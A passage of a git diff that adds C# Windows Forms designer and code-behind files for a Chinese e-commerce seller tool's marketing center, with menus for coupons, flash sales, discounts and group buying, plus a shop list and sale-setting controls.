System.Windows.Forms.TreeNode treeNode4 = new System.Windows.Forms.TreeNode("拼团"); + System.Windows.Forms.TreeNode treeNode5 = new System.Windows.Forms.TreeNode("拼团监控"); + System.Windows.Forms.TreeNode treeNode6 = new System.Windows.Forms.TreeNode("营销中心", new System.Windows.Forms.TreeNode[] { + treeNode1, + treeNode2, + treeNode3, + treeNode4, + treeNode5}); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(800, 450); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 8; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "新人券"; + treeNode1.Text = "新人券"; + treeNode2.Name = "限时限量购"; + treeNode2.Text = "限时限量购"; + treeNode3.Name = "满减"; + treeNode3.Text = "满减"; + treeNode4.Name = "拼团"; + treeNode4.Text = "拼团"; + treeNode5.Name = "拼团监控"; + treeNode5.Text = "拼团监控"; + treeNode6.Name = "营销中心"; + treeNode6.Text = "营销中心"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode6}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 450); + this.tv.TabIndex = 4; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(659, 450); + this.panel1.TabIndex = 5; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(659, 422); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(659, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(47, 12); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // SalesCenterForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer1); + this.Name = "SalesCenterForm"; + this.Text = "SalesCenterForm"; + this.Load += new System.EventHandler(this.SaleCenterForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcTreeView tv; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.cs new file mode 100644 index 0000000..5f473ba --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.cs @@ -0,0 +1,130 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class SalesCenterForm : Form + { + public Lazy seckillingAndLimitedSalesForm = new Lazy(); + public Lazy fullMinusForm = new Lazy(); + public Lazy groupBuyFrom = new Lazy(); + public Lazy couponForm = new Lazy(); + + public SalesCenterForm() + { + InitializeComponent(); + } + + private void SaleCenterForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + + List hideName = new List() { "拼团监控"/*, "清理无流量"*/ }; + + foreach (var item in hideName) + { + var n = tv.Nodes[0].Nodes.Find(item, true); + if (n.Count() > 0) + n[0].Remove(); + } + } + catch { } + } + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form as Form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + // 如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "新人券": + SetForm(couponForm.Value); + break; + case "限时限量购": + SetForm(seckillingAndLimitedSalesForm.Value); + break; + case "满减": + SetForm(fullMinusForm.Value); + break; + case "拼团": + SetForm(groupBuyFrom.Value); + break; + } + })); + }).Start(); + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SalesCenterForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.Designer.cs new file mode 100644 index 0000000..8cace3c --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.Designer.cs @@ -0,0 +1,1696 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class SeckillingAndLimitedSalesForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPageCheckResult = new System.Windows.Forms.TabPage(); + this.lblProductName = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.chkSkipHasSale = new System.Windows.Forms.CheckBox(); + this.tabPageViolateFileList = new System.Windows.Forms.TabPage(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnMdyAct = new DevComponents.DotNetBar.PanelEx(); + this.btnStopMdyAct = new DevComponents.DotNetBar.PanelEx(); + this.btnCancelGet = new DevComponents.DotNetBar.PanelEx(); + this.cmbSkuOptionType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.第一个 = new DevComponents.Editors.ComboItem(); + this.最后一个 = new DevComponents.Editors.ComboItem(); + this.最便宜 = new DevComponents.Editors.ComboItem(); + this.最贵 = new DevComponents.Editors.ComboItem(); + this.不设置最便宜 = new DevComponents.Editors.ComboItem(); + this.不设置最贵 = new DevComponents.Editors.ComboItem(); + this.chkSetSkuOption = new System.Windows.Forms.CheckBox(); + this.lblPercentSign = new System.Windows.Forms.Label(); + this.cmbStockType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.全部库存 = new DevComponents.Editors.ComboItem(); + this.百分比库存 = new DevComponents.Editors.ComboItem(); + this.统一库存 = new DevComponents.Editors.ComboItem(); + this.nudStockValue = new System.Windows.Forms.NumericUpDown(); + this.cmbLimit = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.txtContainsId = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label2 = new System.Windows.Forms.Label(); + this.flpPrice = new System.Windows.Forms.FlowLayoutPanel(); + this.pnlSkuPriceMin = new System.Windows.Forms.Panel(); + this.lblSKUPriceMin3 = new System.Windows.Forms.Label(); + this.lblSKUPriceMin2 = new System.Windows.Forms.Label(); + this.lblSKUPriceCommon1 = new System.Windows.Forms.Label(); + this.txtSKUPriceMin = new System.Windows.Forms.TextBox(); + this.lblSKUPriceMin1 = new System.Windows.Forms.Label(); + this.lblSKUPriceCommon2 = new System.Windows.Forms.Label(); + this.txtSKUPriceCommon = new System.Windows.Forms.TextBox(); + this.lblSKUPriceCommon3 = new System.Windows.Forms.Label(); + this.panel9 = new System.Windows.Forms.Panel(); + this.label13 = new System.Windows.Forms.Label(); + this.cmbSetPro = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label10 = new System.Windows.Forms.Label(); + this.panel7 = new System.Windows.Forms.Panel(); + this.label8 = new System.Windows.Forms.Label(); + this.cmbActCont = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem7 = new DevComponents.Editors.ComboItem(); + this.comboItem8 = new DevComponents.Editors.ComboItem(); + this.comboItem9 = new DevComponents.Editors.ComboItem(); + this.comboItem10 = new DevComponents.Editors.ComboItem(); + this.comboItem11 = new DevComponents.Editors.ComboItem(); + this.comboItem12 = new DevComponents.Editors.ComboItem(); + this.comboItem13 = new DevComponents.Editors.ComboItem(); + this.comboItem14 = new DevComponents.Editors.ComboItem(); + this.comboItem15 = new DevComponents.Editors.ComboItem(); + this.label5 = new System.Windows.Forms.Label(); + this.btnManageAct = new DevComponents.DotNetBar.PanelEx(); + this.btnSubAct = new DevComponents.DotNetBar.PanelEx(); + this.pnlPreheat = new System.Windows.Forms.Panel(); + this.label6 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.cmbDays = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbHours = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.pnlDiscount = new System.Windows.Forms.Panel(); + this.rbBuyoutPrice = new System.Windows.Forms.RadioButton(); + this.rbReducePrice = new System.Windows.Forms.RadioButton(); + this.rbDiscount = new System.Windows.Forms.RadioButton(); + this.btnGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.lblDiscount = new System.Windows.Forms.Label(); + this.cmbCancelTime = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem1 = new DevComponents.Editors.ComboItem(); + this.comboItem2 = new DevComponents.Editors.ComboItem(); + this.comboItem3 = new DevComponents.Editors.ComboItem(); + this.comboItem4 = new DevComponents.Editors.ComboItem(); + this.comboItem5 = new DevComponents.Editors.ComboItem(); + this.comboItem6 = new DevComponents.Editors.ComboItem(); + this.dtpEndTime = new System.Windows.Forms.DateTimePicker(); + this.btnStopGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.dtpStartTime = new System.Windows.Forms.DateTimePicker(); + this.label4 = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.panel8 = new System.Windows.Forms.Panel(); + this.btnSetName = new DevComponents.DotNetBar.PanelEx(); + this.chkSetName = new System.Windows.Forms.CheckBox(); + this.panel3 = new System.Windows.Forms.Panel(); + this.rbPreheat = new System.Windows.Forms.RadioButton(); + this.rbNotPreheat = new System.Windows.Forms.RadioButton(); + this.lblLimit = new System.Windows.Forms.Label(); + this.lblStock = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.rbSoldOut = new System.Windows.Forms.RadioButton(); + this.rbNormalPrice = new System.Windows.Forms.RadioButton(); + this.label11 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.rbStartEndTime = new System.Windows.Forms.RadioButton(); + this.rbTimePeriod = new System.Windows.Forms.RadioButton(); + this.lblTime = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + this.tabPageCheckResult.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).BeginInit(); + this.flpPrice.SuspendLayout(); + this.pnlSkuPriceMin.SuspendLayout(); + this.panel9.SuspendLayout(); + this.panel7.SuspendLayout(); + this.pnlPreheat.SuspendLayout(); + this.pnlDiscount.SuspendLayout(); + this.panel8.SuspendLayout(); + this.panel3.SuspendLayout(); + this.panel2.SuspendLayout(); + this.panel1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1350, 397); + this.splitContainer3.SplitterDistance = 367; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1350, 367); + this.splitContainer2.SplitterDistance = 269; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(265, 367); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(1073, 367); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.ucTabControl1.Controls.Add(this.tabPageCheckResult); + this.ucTabControl1.Controls.Add(this.tabPageViolateFileList); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(1071, 365); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPageCheckResult + // + this.tabPageCheckResult.Controls.Add(this.lblProductName); + this.tabPageCheckResult.Controls.Add(this.txtProductName); + this.tabPageCheckResult.Controls.Add(this.chkSkipHasSale); + this.tabPageCheckResult.Location = new System.Drawing.Point(2, 26); + this.tabPageCheckResult.Name = "tabPageCheckResult"; + this.tabPageCheckResult.Padding = new System.Windows.Forms.Padding(3); + this.tabPageCheckResult.Size = new System.Drawing.Size(1065, 335); + this.tabPageCheckResult.TabIndex = 0; + this.tabPageCheckResult.Text = "店铺1"; + this.tabPageCheckResult.UseVisualStyleBackColor = true; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(213, 224); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(56, 17); + this.lblProductName.TabIndex = 481; + this.lblProductName.Text = "商品名称"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(269, 221); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(202, 23); + this.txtProductName.TabIndex = 480; + // + // chkSkipHasSale + // + this.chkSkipHasSale.AutoSize = true; + this.chkSkipHasSale.Checked = true; + this.chkSkipHasSale.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkSkipHasSale.Location = new System.Drawing.Point(216, 194); + this.chkSkipHasSale.Name = "chkSkipHasSale"; + this.chkSkipHasSale.Size = new System.Drawing.Size(111, 21); + this.chkSkipHasSale.TabIndex = 434; + this.chkSkipHasSale.Text = "跳过有销量商品"; + this.chkSkipHasSale.UseVisualStyleBackColor = true; + // + // tabPageViolateFileList + // + this.tabPageViolateFileList.Location = new System.Drawing.Point(2, 26); + this.tabPageViolateFileList.Name = "tabPageViolateFileList"; + this.tabPageViolateFileList.Padding = new System.Windows.Forms.Padding(3); + this.tabPageViolateFileList.Size = new System.Drawing.Size(1065, 335); + this.tabPageViolateFileList.TabIndex = 1; + this.tabPageViolateFileList.Text = "店铺2"; + this.tabPageViolateFileList.UseVisualStyleBackColor = true; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1350, 26); + this.splitContainer4.SplitterDistance = 1235; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name 